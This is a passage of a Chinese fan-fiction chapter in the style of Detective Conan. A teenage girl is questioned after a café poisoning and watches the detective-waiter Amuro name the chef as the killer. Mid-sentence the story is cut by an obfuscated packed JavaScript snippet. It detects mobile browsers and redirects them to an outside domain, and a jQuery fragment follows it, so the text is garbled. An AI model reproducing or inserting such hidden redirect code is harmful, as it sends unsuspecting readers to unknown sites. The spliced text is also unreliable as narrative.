面对元歌,显然那位问话的警察姐姐更为温和了些。
可能是元歌瞧着就还是个学生,年纪不大的样子,方才还是这警察帮她眼神警告了一番身后的不良学生。
等元歌在她面前的椅子落座,注意到元歌紧张的扣手小动作,露出了安抚的微笑:“放轻松,我就是循例问一些问题,你如实回答就好。”
其实元歌在警察来了之后便没有那么无措了,只不过是这样做会更有利于她,尚轻的年纪再加上她的这番表现,在警察小姐姐看来就是个无辜被卷入的路人。
对了,刚才还要加上一条,被不良学生欺负的普通学生。
察觉到对方放轻放缓的语气,元歌微微颔首,扮作听话乖巧的女孩子,等待警察的问话。
“你为什么会在这里?”问出这个问题并不奇怪,现在是三点半,距离一般的学生放学还有半个小时。
除却元歌身后三个逃课出来的不良学生,元歌表现出来的样子一看就不像是会逃课的乖乖好学生。
元歌抬起刚才等待问话时微微低着的头,视线恰好落在对方记笔记的本子上:“我是最近才搬来这边的,还没有到新学校报道,今天出来是为了定制校服,在等待的时候便想着过来坐会。”
警察姐姐微微点头,在本子上划拉几笔将口供记下。
元歌的口供也很好地解释了她这个年纪的为什么会在这个时间点出现在这了,对比她身后三个逃课出来的,确实是个乖巧的学生。
她刚才还担心着这孩子是不是被不良学生挟持出来逃课的呢。
显然,这位警察小姐姐全然被元歌的演技所骗,元歌根本没有穿着校服,又怎么可能是被三个不良挟持出来逃课的好学生呢?
“将你从进这间咖啡店之后的事情都说一下,有没有发生什么可疑的事情?”
元歌摇了摇头,她是来得最晚的,也才刚坐下没几分钟,除了刚进来的时候大致扫了一眼店里,其余的时间她都在想着绘麻的事情。
元歌将自己所知道的一一复述,很快便被放离了问话席。
她的下一个是那位一开始报警的厨师成池先生。身为报警人,他刚才一直在目暮警官身边将自己所看到的讲了一遍,现在过来是来录口供备案的。
虽然她的嫌疑最小,也不认识死者,但是因为这咖啡厅里面人员单调,在案件没有查清之前,所有人都不能离开店里,所以被问完话的人都纷纷在远离案发现场的座位上坐着等待。
看到元歌结束谈话,不良三人组和那位金发美女都向她看了过来,只不过前者都是不太好的视线警告,后者则是稍微平淡的勾唇微笑。
金发美人瞟了眼不良三人组,朝元歌招了招手,示意她过来坐她身边。
虽然有点不想过去,但是相比一直态度不太好的不良三人组,她还是更愿意待在金发美人身边,至少在大庭广众之下,自己应该不会出什么事吧?警察都在呢。
在金发美人身边落座,元歌一直不敢与她对视,都说美丽的东西都有毒,虽然她稍微有些颜控,但这种蛇蝎美人她无福消受啊。
相比于元歌的不敢直视,那金发美女倒是怡然自得地大方打量着元歌,顺着她的视线看过去,是一直在警察包围圈内的那位金发服务员:“呵呵,小妹妹,你看他看得这么入迷,他有我好看吗?”
元歌一激灵,这都能争风吃醋啊?虽然你们都是金发,但是你们是不同的两种类型!
她回过头来,认真地看着对面的金发美人:“并非你想的那样,我这是在向他认真学习。”说完,元歌还认真地点了点小脑袋。
金发美人饶有兴致地用手撑着下巴:“哦?一个服务生,有什么好学的?学他如何在警察面前谄媚人心吗?”
不知为何,金发美人对这同样是金发的服务员待着贬低的讽刺,不过言语间透露出两人之间的熟稔。
就当做是损友之间情感好的表达吧。元歌没有当回事。
她摇了摇头,解释道:“今天过后我就年满十七了,可以找兼职赚钱了,所以想向这位先生学习如何能够当个优秀的打工人。”
似乎没有想到是这个答案,那金发美人微微一愣,转而笑中带泪,媚态横生:“哈哈,你真有意思。”
虽然感觉自己被嘲笑了,但是元歌要的就是这个效果。
这位金发美人面容出众,看着像个公众人物,但是元歌却觉得她似乎有着非常人的阴暗面,想她现在这般装作愚钝的样子,是最好的,只要不引火烧身,别人怎么看她管不着。
当然,元歌说的句句都是实话的,只是放大了在别人眼中呆木愚笨的一面。
在前田院长手下求生的这几年,虽然不是什么好的,但是自保的法子她倒是无师自通地学到了许多。
“那,那个。您是那位美国的著名女演员莎朗·温亚吗?可以给我签个名吗?我很喜欢你。您看起来一点都没有老,还是这么地美丽。”这位刚死了同伴的商务人士,似乎见到了自己非常喜欢的女明星,在熟悉的人死后竟然还有闲情雅致来求签名。
他从自己黑色的公文包里抽出了几份文件,就这么反过面来,想让那金发美女在背面的空白页签名。
不只是太过激动还是什么的,这递来的直面太薄,将他颤颤巍巍的手都体现的一清二楚,仔细看他的额间竟还冒着细微的汗水。
元歌觉得似乎有什么不对经,但又说不上来。
那位被人做莎朗的金发美女诡异地看着他递来的直面,沉默两秒,冷淡的表情转瞬变为被错认的微微尴尬:“我不是你所说的那位女明星哦,不过,我是她的女儿啦,我叫克丽丝,这样你还要我签名吗?”
“当,当然,能得到莎朗小姐女儿的签名,也,也不错。”面对喜欢的女明星的女儿,这人竟显得如此紧张,就像是在面对什么可怖的人一样。
这名字,一听就像是外国人的名字,不过瞟了眼自己手边垂着的金色发丝,元歌一点也不觉得惊讶。
克丽丝接过他递来的白纸,因为一张很薄,怕损坏了纸面,那男子还将文件袋里剩下的纸张都拿了出来,垫在下面。
元歌只做好奇地看了两眼两人,后便转移注意地起身去找店里的钟表,似乎有什么事情,想要知道确切时间的样子。
这两人,在她面前演什么呢?
从一进门,元歌便注意到克丽丝跟那两个商务人士的座位挨得很近,而且他们明明很紧张自己公文包里面的东西,彼时还很警惕地看了几眼克丽丝的方向,如今一人死了,另外一个竟然将刚才藏得严严实实的公文包拱手让出。
该说真不愧是“演员”的女儿吗?装得真像。
算了算了,还是躲远点吧。
走了几步,找到了挂着钟表的墙面,这时间已经又是过去半个小时,这时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463740|169767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,应该老板也差不多修改好衣服在等她去取了,只是,这里还要等多久?
晚上还有说是那位精心为她筹办的迎新会,要是迟了回去,那嘴臭的偶像怕不是要撕了她。
好在,那位一直在案发现场转悠的服务员似乎有了头绪:“我知道了,请警官将所有嫌疑人带过来。”
因为倒霉,莫名成为嫌疑人之一的元歌都不需要人叫,依言走了过去,在目暮警官身边站好。
因为是第一个过来的,又可能是元歌的长相对比其他人太过稚嫩乖巧,那金发服务员向她安抚一笑。
显然,他认定的犯人并不是她。
“等等,等等,凭什么就认定你说的就是真的,院门先生是中毒死的,你不也是这里的服务员吗?按理说你也是嫌疑人啊,警官,你不管管吗?”应该是交代了事情,过了关,方才战战兢兢要签名的商务人员提出质疑。
可能是怕在场唯一一个与死者相识的就他一人,怕被认定是凶手,他急忙提出疑问。
刚才他和金发服务员离死者最近,经他提醒,其他人才注意到死者嘴唇泛紫,像是中毒而亡。
“我也没说我不是嫌疑人啊,只不过,我是这里的服务员,是今天才来兼职的,是第一次见这位客人,厨房的成池先生可以为我作证。”
“除此之外,本人也是一名侦探。当然,我的话只是给警官先生可以作为一个参考,凡是还是要讲究证据。”
那金发服务员面带自信,一顿话下来,一一解释,浑身带着令人信服的气势。
目暮警官正愁着呢,最近那工藤老弟多日不出现,最近发生的案子都由那位看着偶尔靠谱但又大部分时间不靠谱的毛利小五郎解决,今天他不在,还以为要多调查一番呢。
话说,这些侦探的出场率是不是过于高了?他这几个月都碰上三个了:“嗯,其中真假我们警察自会分辨,我们讲求证据说话,安室先生,愿闻其详。”
原来这金发小哥姓安室啊,元歌的关注点默默走偏了一下。
警察都要愿闻其详了,其他人也不能说些什么,大部分人反应过来,自己又不是凶手,干嘛要这么紧张他说的对不对,纷纷沉默,打算听听这大庭广众之下下毒的凶手是谁。
“凶手就是你,成池先生。”
出人意料的,安室先生指认的凶手并不是刚才与他对峙的最大嫌疑人,而是一直默默待在后厨的厨师。
在这店中,最有可能投毒的就是与死者结伴而行的商务人员,制作咖啡和点心的厨师,还有上菜品的服务员。
当然,在众人不知道的时候,元歌也曾怀疑过克丽丝,毕竟她和两位商务人员的关系似乎并不简单。
锁凶的证据是后厨洗手池里还没冲掉的白色粉末,还有厨师指甲内的同款粉末。
怪不得成池先生听见死人,从后厨出来的时候还有闲心去洗好了手才出来,她当时还以为他正好在洗东西呢。
可能是因为第一次做这种事,成池先生的衣服上也粘上了一些粉末,大部分被他用水洗去,但仍残留一些碎屑。
投毒嘛,手法自然简单,一直困扰众人的是,厨师先生为什么要杀害一个客人,难不成他们背后有什么纠纷?
杀人动机是一直困扰了安室透半个小时之久的原因,直到看到成池先生在咖啡厅放置物品的柜子里的东西,离谱的猜测却使整件事情合理了起来。